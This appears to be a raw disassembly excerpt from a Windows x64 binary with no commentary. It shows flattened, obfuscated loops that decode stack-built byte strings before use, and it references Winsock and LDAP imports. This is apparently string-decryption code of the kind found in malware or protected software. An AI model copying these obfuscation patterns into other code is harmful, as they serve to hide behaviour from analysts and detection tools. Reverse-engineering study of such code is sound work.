movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
dec rdi
inc rdi
jmp 0x14008d812
movabs rdx, 0x890394bdf2ff2b60
jmp 0x14008e354
movabs rdx, 0xbb7e2caec0d646a0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x60
add r11b, dl
movabs rcx, 0xd8566f0e973a04a0
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
sub cl, 0x60
add cl, bl
mov byte [rbp + rdi + 0x6f8], cl
inc r9
dec rdi
inc rdi
jmp 0x14008d812
movabs rdx, 0x52edf4812a5b9860
mov ecx, Ordinal_50
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
inc r9
dec rdi
inc rdi
jmp 0x14008d812
movabs rdx, 0xb7e32462c609cee0
add rdx, rdi
movzx eax, bl
and al, dl
add al, al
movzx r11d, bl
sub r11b, al
sub r11b, 0x20
add r11b, dl
movabs rdx, 0xa5dbd71dc962e960
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, bl
add cl, dl
add cl, r11b
mov byte [rbp + rdi + 0x6f8], cl
jmp 0x14008e3ee
movabs rdx, 0xea5dbc5393e0ea20
mov ecx, reloc.WS2_32.dll_recv
add rdx, rdi
movzx eax, bl
and al, dl
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
add r8, r9
movzx eax, r11b
mov rcx, r13
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x14008d812
mov rbx, r10
movabs rdx, 0x4f52ec352f8f20a0
add rdx, rdi
movzx eax, dl
and al, r10b
add al, al
movzx r11d, r10b
sub r11b, al
sub r11b, 0x60
add r11b, dl
movabs rdx, 0x73613f2cfb8bce20
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, bl
add cl, dl
movzx eax, cl
mov byte [rbp + rdi + 0x6f8], al
inc r9
add rax, r9
sub rdi, rax
movabs rcx, 0x5a23f33494a04080
add rcx, rdi
movzx eax, cl
and al, bl
add al, al
sub cl, al
add cl, 0x80
add cl, bl
mov byte [rbp + rdi + 0x6f8], cl
inc r8
mov rax, r13
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x6f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008d812
movabs rdx, 0xb4481c16cb3d5720
add rdx, rdi
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, r10b
movzx eax, byte [rbp + rdi + 0x6f8]
add rax, r9
add rdi, rax
inc rdi
jmp 0x14008d812
movabs rcx, 0xe32787f2879f6be0
add rcx, rdi
movzx eax, bl
and al, cl
add al, al
sub bl, al
lea r11d, [rcx + rbx]
sub r11b, 0x20
jmp 0x14008d80e
movabs rdx, 0x15a21fe355768720
add rdx, rdi
movzx eax, bl
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea r11d, [rcx + rcx]
add r11b, bl
add r11b, dl
jmp 0x14008d7fc
lea rcx, [rbp + 0x17cdf78]
jmp 0x14008e546
lea rcx, [rbp + 0x11151d8]
jmp 0x14008e546
lea rcx, [rbp + 0x6f8]
mov rdx, rsi
call fcn.1400353f0
lea rdx, [0x14021aa90]
lea rcx, [rbp + 0x1a0]
call fcn.1400022f0
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xe0]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002490
lea rcx, [rbx + 0x30]
call fcn.14006a7d0
mov rdi, rax
mov byte [rbp + 0x720], 0x54
mov byte [rbp + 0x721], reloc.WS2_32.dll_WSAStartup
mov byte [rbp + 0x722], 0x63
mov byte [rbp + 0x723], 0x60
mov byte [rbp + 0x724], 0x61
mov byte [rbp + 0x725], 0x77
mov byte [rbp + 0x726], Ordinal_41
mov byte [rbp + 0x727], 0x51
mov byte [rbp + 0x728], 0x61
mov byte [rbp + 0x729], 0x7a
mov byte [rbp + 0x72a], 0x7f
mov byte [rbp + 0x72b], WSAGetLastError
mov byte [rbp + 0x72c], 0x60
mov byte [rbp + 0x72d], reloc.WS2_32.dll_listen
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x72e], xmm0
mov dword [rbp + 0x73e], eax
mov byte [rbp + 0x742], al
movabs rsi, 0xead62e9c930c0f80
movabs r12, 0x914726ca80e83180
movabs r14, 0xe1a20ff3fe12e080
movabs r15, 0xbf13c25efc427d80
movzx r10d, byte [rsp + 0x40]
nop
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x14008f141
movzx r11d, byte [rbp + rbx + 0x720]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x14008f135
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x14008e6a3
lea rcx, [rbx + r12]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
add r10b, 0x80
jmp 0x14008e6e0
je 0x14008f0ab
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008f016
lea rax, [rcx + 1]
cmp r8, rax
je 0x14008efe3
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008efb8
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008ef63
nop dword [rax]
cmp r9, rbx
ja 0x14008f129
lea rax, [r9 + 0x10]
cmp r8, rax
jae 0x14008e6ff
lea rcx, [rbx + rsi]
jmp 0x14008e8a9
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008ef3f
inc rax
cmp r8, rax
je 0x14008eee1
lea rax, [r9 + 5]
cmp r8, rax
je 0x14008eea9
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008ee81
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008ee60
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14008ebc7
nop dword [rax]
lea rax, [r9 + 8]
cmp r8, rax
je 0x14008eba7
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x14008eb7d
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008eb56
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008eb36
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x14008eb03
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14008ead2
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14008eaae
lea rax, [r9 + 0x1000]
cmp r8, rax
je 0x14008e750
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 0x2a]
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x14008f104
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14008f0df
lea rax, [r9 + 0x200]
cmp r8, rax
jb 0x14008e8db
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x14008e8c0
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14008e8a5
lea rax, [r9 + 8]
cmp r8, rax
jb 0x14008ea48
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x14008e9c7
lea r8, [r9 + 0xa]
lea r9, [r8 + 0x80]
lea rax, [r9 + 0x42]
cmp r8, rax
ja 0x14008e996
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x14008e976
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x14008e967
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x14008e958
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x14008e949
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x14008e93a
lea rax, [r9 + 3]
cmp r8, rax
ja 0x14008e92b
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14008e902
lea r8, [r9 + 0x2a]
lea r9, [r8 + 8]
jmp 0x14008e750
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
jmp 0x14008e740
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
jmp 0x14008e6e0
movabs rdx, 0x9c8574c9fa721a80
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add dl, 0x80
add r10b, dl
jmp 0x14008e665
movabs rcx, 0x3423274f96901900
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
inc r9
dec rbx
inc rbx
jmp 0x14008e652
movabs rcx, 0x1194d9ba94bfb600
jmp 0x14008eb60
movabs rcx, 0xef068c2592ef5300
jmp 0x14008eb40
movabs rcx, 0xcc783e90911ef000
jmp 0x14008eb0d
movabs rcx, 0xa9e9f0fb8f4e8d00
jmp 0x14008eadc
movabs rcx, 0x875ba3668d7e2a00
jmp 0x14008ec48
movabs rcx, 0x64cd55d18badc700
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
jmp 0x14008f068
movabs rcx, 0x423f083c89dd6400
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
movzx eax, byte [rbp + rbx + 0x720]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008e652
movabs rcx, 0x26beab1e01b3a680
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
cmp r8, 0x61
jae 0x14008ee0d
lea rax, [r9 + 0x400]
cmp r8, rax
jbe 0x14008ed56
movabs rcx, 0x88ca6cdd4a5fdb00
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
cmp r9, 0x28
jb 0x14008edfd
movabs rcx, 0xe25974af5c83b900
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx + rcx]
jmp 0x14008ef86
movabs rdx, 0x4305d88ffe34380
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x80
add r10b, dl
lea rax, [r9 + r8]
cmp rax, 5
je 0x14008ee39
lea rax, [r9 + 0x28]
cmp r8, rax
jbe 0x14008ecbd
movabs rdx, 0x9df43e40b753cb80
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x80
add r10b, dl
jmp 0x14008e9e6
movabs rdx, 0x3be87c816ea79700
add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
movzx r10d, r11b
sub r10b, cl
add r10b, dl
jmp 0x14008f038
movabs rcx, 0x195a2eec6cd73400
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008e652
movabs rcx, 0xf6cbe1576b06d100
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008e652
movabs rcx, 0xd43d93c269366e00
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
jmp 0x14008ef00
movabs rcx, 0xb1af462d67660b00
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
dec rbx
inc rbx
jmp 0x14008e652
movabs rcx, 0x8f20f8986595a800
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
inc r9
dec rbx
inc rbx
jmp 0x14008e652
movabs rcx, 0x6c92ab0363c54500
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
jmp 0x14008ef86
lea rax, [r9 + 0x400]
cmp r8, rax
jae 0x14008ebf2
lea rcx, [rbx + r12]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
jmp 0x14008ea6b
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x14008ec31
movabs rcx, 0xd5ac5d3926181f00
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
movzx eax, byte [rbp + rbx + 0x720]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008e652
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008ec5e
movabs rcx, 0x1ac8f86329b8e500
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
jmp 0x14008f038
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14008ec8f
movabs rdx, 0x8273e1222f2a0e00
add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
movzx r10d, r11b
sub r10b, cl
add r10b, dl
jmp 0x14008ef00
lea rax, [r9 + 7]
cmp r8, rax
jne 0x14008ea6b
movabs rdx, 0xea1ec9e1349b3700
add rdx, rbx
movzx ecx, r11b
and cl, dl
add cl, cl
movzx r10d, r11b
sub r10b, cl
jmp 0x14008ef83
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008ecee
movabs rcx, 0xc0828bd5b9242e80
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
jmp 0x14008ef86
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008ed25
movabs rcx, 0x59f26ffbcc4f480
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
dec rbx
inc rbx
jmp 0x14008e652
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008e9e6
movabs rcx, 0x8fd85d53c4068080
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
jmp 0x14008f038
lea rax, [r9 + 1]
cmp r8, rax
jne 0x14008ed72
movabs rcx, 0xab58ba724c303e00
jmp 0x14008e9a0
inc rax
cmp r8, rax
jne 0x14008ed8d
movabs rdx, 0xf075559c4fd10400
jmp 0x14008eab8
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14008eda9
movabs rcx, 0x3591f0c65371ca00
jmp 0x14008eb0d
lea rax, [r9 + 2]
cmp r8, rax
jne 0x14008edc5
movabs rcx, 0x7aae8bf057129000
jmp 0x14008eb60
lea rax, [r9 + 3]
cmp r8, rax
jne 0x14008ede1
movabs rcx, 0x9d3cd98558e2f300
jmp 0x14008eb87
lea rax, [r9 + 9]
cmp r8, rax
jne 0x14008ea1b
movabs rdx, 0xbfcb271a5ab35600
jmp 0x14008eca6
mov byte [rbp + rbx + 0x720], r10b
inc rbx
jmp 0x14008e652
movabs rdx, 0x4e7c2445e541c00
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, byte [rbp + rbx + 0x720]
sub r10b, al
add r10b, r11b
add r10b, dl
jmp 0x14008ef00
movabs rcx, 0x27760fd960247f00
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0x720]
lea r10d, [r11 + rcx]
jmp 0x14008f038
movabs rcx, 0x21d6e8d9a35f8a80
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
jmp 0x14008f0c5
movabs rdx, 0xff489b44a18f2780
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x80
add r10b, dl
jmp 0x14008f068
movabs rcx, 0x979db2859c1dfe80
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008e652
movabs rcx, 0x750f64f09a4d9b80
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
movabs rcx, 0x962ee90edf3c4d80
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x80
add cl, r11b
add cl, r10b
mov byte [rbp + rbx + 0x720], cl
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008e652
movabs rcx, 0xd647c3194dc7280
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x80
jmp 0x14008ef86
movabs rdx, 0xc847e107913bac80
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x80
add r10b, dl
movabs rcx, 0x73a09b79dd6bea80
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x80
add cl, r11b
mov byte [rbp + rbx + 0x720], cl
inc r9
dec rbx
inc rbx
jmp 0x14008e652
movabs rcx, 0x832b45dd8d9ae680
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
dec rbx
inc rbx
jmp 0x14008e652
movabs rcx, 0x1b805d1e8829bd80
add rcx, rbx
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea r10d, [rdx + rcx]
add r10b, 0x80
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008e652
mov r11, rdx
movabs rcx, 0xf8f20f8986595a80
add rcx, rbx
and dl, cl
add dl, dl
movzx r10d, r11b
sub r10b, dl
add r10b, 0x80
add r10b, cl
movabs rcx, 0xb8bd36a3e10cb080
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x80
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x720], al
inc r9
add rax, r9
sub rbx, rax
movabs rcx, 0x4a045d6e61f4e200
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
mov byte [rbp + rbx + 0x720], cl
inc r8
mov rax, r13
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x720]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008e652
movabs rcx, 0xb3d5745f82b89480
add rcx, rbx
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea r10d, [rcx + rdx]
add r10b, 0x80
movzx eax, byte [rbp + rbx + 0x720]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008e652
movabs rcx, 0x79f72734f8a1b780
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
jmp 0x14008e650
movabs rcx, 0x5768d99ff6d15480
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea r10d, [rcx + r11]
add r10b, 0x80
jmp 0x14008e640
lea rcx, [rbp + 0x1414920]
jmp 0x14008f148
lea rcx, [rbp + 0x1297aa0]
jmp 0x14008f148
lea rcx, [rbp + 0x720]
mov rdx, rdi
call fcn.1400353f0
lea rdx, [0x14021abd0]
lea rcx, [rbp + 0x1c0]
call fcn.1400022f0
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0xf0]
mov rcx, qword [0x140220748]
call fcn.14006b3a0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002490
lea rcx, [rbx + 0x30]
call fcn.14006a7d0
mov rdi, rax
mov byte [rbp + 0x748], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x749], reloc.WLDAP32.dll_Ordinal_30
mov byte [rbp + 0x74a], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x74b], 4
mov byte [rbp + 0x74c], 0x5a
mov byte [rbp + 0x74d], gethostname
mov byte [rbp + 0x74e], 4
mov byte [rbp + 0x74f], Ordinal_30
mov byte [rbp + 0x750], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x751], select
mov byte [rbp + 0x752], reloc.WS2_32.dll_WSASetLastError
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x753], xmm0
mov qword [rbp + 0x763], rax
movabs rsi, 0xd342c50d63186e1b
movabs r12, 0x77c63a25357b116f
movabs r14, 0x8a1923409d27745
movabs r15, 0x19151de99edc5467
movzx r10d, byte [rsp + 0x40]
nop word [rax + rax]
mov r8, qword [0x140220a80]
mov r9, qword [0x140220a78]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140090113
movzx r11d, byte [rbp + rbx + 0x748]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140090107
lea rcx, [r9 + 1]
cmp r8, rcx
jae 0x14008f293
lea rcx, [rbx + r12]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
sub r10b, 9
jmp 0x14008f2e0
je 0x14009007f
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008ffe0
lea rax, [rcx + 1]
cmp r8, rax
je 0x14008ffad
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008ff75
lea rax, [r9 + 6]
cmp r8, rax
je 0x14008ff13
lea rax, [r9 + 7]
cmp r8, rax
je 0x14008fee8
nop word [rax + rax]
cmp r9, rbx
ja 0x1400900fb
lea rax, [r9 + 2]
cmp r8, rax
jae 0x14008f315
lea rdx, [rbx + rsi]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x43
add r10b, dl
jmp 0x14008f350
lea rax, [r9 + 1]
cmp r8, rax
je 0x14008fe90
lea rax, [r9 + 3]
cmp r8, rax
je 0x14008fe65
lea rax, [r9 + 4]
cmp r8, rax
je 0x14008fe2d
lea rax, [r9 + 2]
cmp r8, rax
je 0x14008fe09
nop dword [rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x14008f9de
nop dword [rax]
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x14008f9b5
lea rax, [r9 + 0x80]
cmp r8, rax
je 0x14008f983
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14008f959
lea rax, [r9 + 0x3e8]
cmp r8, rax
je 0x14008f935
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x14008f8fe
lea rcx, [r9 + 0x1000]
cmp r8, rcx
je 0x14008f8ca
lea rax, [r9 + 0x61]
cmp r8, rax
je 0x14008f8a6
lea rax, [r9 + 0x7a]
cmp r8, rax
je 0x14008f882
lea rax, [r9 + 0x41]
cmp r8, rax
je 0x14008f84d
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x14008f360
mov r8, rcx
lea r9, [rcx + 0x2a]
lea rax, [r9 + 0x61]
cmp rcx, rax
jb 0x1400900d7
lea rax, [r9 + 0x7a]
cmp rcx, rax
jb 0x1400900b3
lea rax, [r9 + 0x41]
cmp rcx, rax
jb 0x14008f549
lea rax, [r9 + 0x5a]
cmp rcx, rax
jb 0x14008f52e
lea rax, [r9 + 0x2a]
cmp rcx, rax
jb 0x14008f50f
lea rcx, [r9 + 1]
cmp r8, rcx
jb 0x14008f7ef
lea rax, [r9 + 2]
cmp r8, rax
jb 0x14008f790
lea rax, [r9 + 3]
cmp r8, rax
jb 0x14008f741
lea rax, [r9 + 4]
cmp r8, rax
jb 0x14008f712
lea rax, [r9 + 5]
cmp r8, rax
jb 0x14008f360
mov r8, rcx
lea r9, [rcx + 6]
lea rax, [r9 + 2]
cmp rcx, rax
ja 0x14008f6dd
lea rax, [r9 + 3]
cmp rcx, rax
ja 0x14008f6b9
lea rax, [r9 + 4]
cmp rcx, rax
ja 0x14008f695
lea rax, [r9 + 5]
cmp rcx, rax
ja 0x14008f65c
lea rax, [r9 + 6]
cmp rcx, rax
ja 0x14008f620
lea rcx, [r9 + 8]
cmp r8, rcx
ja 0x14008f5f7
lea rax, [r9 + 9]
cmp r8, rax
ja 0x14008f5c8
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x14008f596
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x14008f56d
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x14008f360
mov r8, rcx
lea r9, [rcx + 0x28]
jmp 0x14008f360
lea rdx, [rbx + r14]
movzx eax, r11b
and al, dl
add al, al
movzx r10d, r11b
sub r10b, al
add r10b, 0x1d
add r10b, dl
jmp 0x14008f350
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x2f
jmp 0x14008f2e0
movabs rcx, 0x2988a99f33e63189
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x41
jmp 0x14008f255
movabs rdx, 0x9a16286b18c370d8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008feb3
movabs rdx, 0xaa89b420adcd4dfa
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x14008f242
movabs rdx, 0xbafd3fd642d72b1c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_30
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
dec rbx
inc rbx
jmp 0x14008f242
movabs rdx, 0xcb70cb8bd7e1083e
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x14008ff36
movabs rdx, 0xdbe457416ceae560
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008f242
movabs rdx, 0xec57e2f701f4c282
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r13
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x14008f242
movabs rcx, 0xfccb6eac96fe9fa4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x7c
jmp 0x140090002
movabs rcx, 0xd3efa622c087cc6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6a
jmp 0x140090035
movabs rcx, 0x1db28617c11259e8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x58
movzx eax, byte [rbp + rbx + 0x748]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008f242
movabs rcx, 0xc6d3635db5ab02bd
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2b
mov byte [rbp + rbx + 0x748], r10b
inc rbx
jmp 0x14008f242
movabs rcx, 0xd746ef134ab4dfdf
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x19
cmp r9, 0x1000
jb 0x14008f731
movabs rcx, 0xb8fb2ad34f08f23a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x2c]
jmp 0x14008feb3
movabs rcx, 0xe7ba7ac8dfbebd01
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 7
cmp r8, 0x42
jae 0x14008fdba
lea rax, [r9 + 0x10]
cmp r8, rax
jbe 0x14008fccb
movabs rdx, 0x5d7e9feb216b958e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea r10d, [rcx + rcx]
add r10b, r11b
add r10b, dl
jmp 0x14008f760
movabs rcx, 0xf82e067e74c89a23
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xb
lea rax, [r9 + r8]
cmp rax, 9
je 0x14008fde3
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x14008fbef
movabs rcx, 0x8a3bdaddbe532773
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x25
jmp 0x14008f7af
movabs rcx, 0xf3909e50529294a2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6e
movzx eax, byte [rbp + rbx + 0x748]
add rax, r9
add rbx, rax
inc rbx
jmp 0x14008f242
movabs rcx, 0x4042a05e79c71c4
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5c
jmp 0x140090035
movabs rcx, 0x1477b5bb7ca64ee6
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x4a
jmp 0x140090002
